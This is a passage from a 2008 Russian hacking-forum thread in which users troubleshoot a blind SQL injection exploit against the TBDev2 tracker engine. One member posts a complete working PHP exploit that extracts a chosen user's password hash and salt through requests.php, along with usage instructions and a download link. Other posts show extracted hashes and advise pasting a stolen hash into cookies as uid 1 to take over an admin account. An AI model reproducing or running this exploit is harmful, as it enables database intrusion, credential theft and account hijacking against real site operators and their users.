ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 06.09.2008, 21:58
Аватар для OMG!!
OMG!!
Постоянный
Регистрация: 25.02.2008
Сообщений: 331
Провел на форуме:
1073404

Репутация: 189
По умолчанию

Запустил..

Код:
Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed
соль не подбирает.. значит дырку прикрыли? может существуют методы?
 
Ответить с цитированием

  #12  
Старый 07.09.2008, 04:51
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от OMG!!  
Запустил..

Код:
Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed
соль не подбирает.. значит дырку прикрыли? может существуют методы?
Нет, дырку не прикрыли, видимо просто на 3м символе соли сервер перестал отвечать. Тут есть 2 варианта:
1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
2) Удалить всё между
Код:
echo "Trying to get passhash: ";
и
Код:
echo "Trying to get salt: ";
и подбирать только соль, так же можно в оставшемся цикле подкручивать начальное значение $i, в твоём случае можно поставить $i=2 , т.к. первый символ соли ты подобрал.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #13  
Старый 07.09.2008, 14:16
Аватар для OMG!!
OMG!!
Постоянный
Регистрация: 25.02.2008
Сообщений: 331
Провел на форуме:
1073404

Репутация: 189
По умолчанию

Qwazar, я удалял цикл получения хеша.. толку мало, все равно lz и дальше не идет..( z - не успел перебрать.. только один символ значит. ) Пробовал менять значение $i= на 2-ю букву.. 3-ю... и т.д. в обоих случаях получаю :

Цитата:
Trying to get your cookies... [DONE]
Trying to get passhash: Trying to get salt: z
Exploit failed
Код:
1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
как? ++++
 
Ответить с цитированием

  #14  
Старый 08.09.2008, 12:40
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменять
Код:
for($j=49;$j<=57;$j++){
на
Код:
for($j=48;$j<=57;$j++){
.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #15  
Старый 08.09.2008, 16:52
Аватар для OMG!!
OMG!!
Постоянный
Регистрация: 25.02.2008
Сообщений: 331
Провел на форуме:
1073404

Репутация: 189
По умолчанию

Цитата:
Сообщение от Qwazar  
Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменять
Код:
for($j=49;$j<=57;$j++){
на
Код:
for($j=48;$j<=57;$j++){
.
Попробовал.. как результат:

Цитата:
Trying to get your cookies... [DONE]
Trying to get passhash: 18a21e8e877feb58b5073b9b838b8db2 [DONE]
Trying to get salt:0z
Exploit failed
И на другой ID атака.. :

Цитата:
Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt:00z
Exploit failed
Версия 2.0 вроде ) хеш же тащит..как вытащить соль?))


все-таки с солью что-то не то.. как я поменял алгоритм ( с нуля поиск ) то теперь в соли первые нули.. а тогда, когда эксплоитил без изменений - соль была слегка другой ( первый символ )
 
Ответить с цитированием

  #16  
Старый 08.09.2008, 18:51
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Замени кусок с солью, на:

Код:
echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=65;$j<=90;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if($flag!=1) {
		for($j=97;$j<=122;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
} 
echo " [DONE]\r\n";
Если и это не поможет, поиграй с диапазонами во внутренних циклах, возможно в соли встречаются какието другие символы, ещё возможно то что она короче. Хз почему так, может какой мод установлен. На родном TBDev2 всё пашет на ура.
Цитата:
Сообщение от ikolla$$  
Можно поподробнее?И желательно совсем подробно.А лучше видио.
Подробнее - нет, т.к. считаю это неправильным. Если ты встречался с перлом, то проблем php у тебя не вызовет. Почитай статьи, покопайся для начала сам.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #17  
Старый 20.09.2008, 01:24
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Прошу прощения за то что долго не отвечал

Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному.

Код:
<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru 

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function getcookie($url, $name, $password){
	$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
	preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
	$uid=$matches[1];
	preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
	$passhash=$matches[1];
	$res = "uid=$uid; pass=$passhash;";
	if(isset($uid)&&isset($passhash))
		return $res;
	else
		return -1;
}

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="Cookie: $cookie\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($field, $condition, $pos){
	global $id;
	$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
	return $xpl;
}

function cond($url, $field, $cond, $pos, $ch) {
	if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
		return 1;
	else
		return 0;

}

function isVulnerable($url) {
	if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
		return 1;
	else
		return 2;
}

function getChar($url, $field, $pos, $lb=0, $ub=255) {
	while(true) {
		$M = floor($lb + ($ub-$lb)/2);
		if(cond($url, $field, '<', $pos, $M)==1) {
			$ub = $M - 1; 
		}
		else if(cond($url, $field, '>', $pos, $M)==1) {
			$lb = $M + 1;
		}
		else
			return chr($M);
		if($lb > $ub)
			return -1;
	}
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
	echo "[DONE]\r\n";
else
	die("Can't get cookies.. Pass incorrect?\r\n");

if(!isVulnerable($url))
	die("Exploit failed: Target is not vulnerable");

echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){	
	$c = getChar($url, "passhash", $i, 47, 103);
	if($c==-1)
		die("\r\nExploit failed\r\n");
	else 
		echo $c;
}
echo " [DONE]\r\n";

echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){	
	$c = getChar($url, "secret", $i);
	if($c==-1)
		die("\r\nExploit failed\r\n");
	else 
		echo $c;
}
echo " [DONE]\r\n";


?>
Скачать можно тут: http://www.x2b.ru/get/3447

Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html

Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть.

З.Ы.
Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 20.09.2008 в 01:34..
 
Ответить с цитированием

  #18  
Старый 24.09.2008, 00:15
Аватар для Red Virus
Red Virus
Новичок
Регистрация: 11.08.2008
Сообщений: 8
Провел на форуме:
40881

Репутация: 7
По умолчанию

Цитата:
Сообщение от DJ ][akep  
Trying to get passhash: 4537fe63957cb67a4921ad56bdef5295 [DONE]
Trying to get salt: XiWVDJOsy4nSdjw2Iupr [DONE]
Вроде все норм прощло Только что с солью?

P.S. Если кто расхешыт кинте плз в пм с мну +++

вставь пас хеш в куки и будет тебе счастье
 
Ответить с цитированием

  #19  
Старый 24.09.2008, 01:03
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от DJ ][akep  
Вроде все норм прощло Только что с солью?
А что не так с солью?

Как я уже писал:
Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Соль - 20 символов.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #20  
Старый 24.09.2008, 16:28
Аватар для DJ ][akep
DJ ][akep
Познающий
Регистрация: 27.01.2008
Сообщений: 57
Провел на форуме:
355954

Репутация: 32
По умолчанию

Цитата:
Сообщение от Red Virus  
вставь пас хеш в куки и будет тебе счастье
Непойму строение кукисов
Что первое
mybbuser=3306_iIXAPC6fB3d7CqTrVbEg5kpw7Lt3aMCIv2JG 8HLAep9GAtyWu6

Объясни что сюда нужно править т.к. я в
pass - правил добытый експлоитом хэш
а в
uid поставил 1 (типо админа)
Но что в первом я непонял
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Прошивку iPhone 2.0 взломали ещё до её выхода geforse Мировые новости 1 14.07.2008 22:41
Web 2.0 выходит на государственный уровень vadim399 Мировые новости 2 12.01.2008 18:06
Проложение витых пар в городских домах Рогатый Трупоед Аппаратное обеспечение 11 20.09.2004 09:08



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ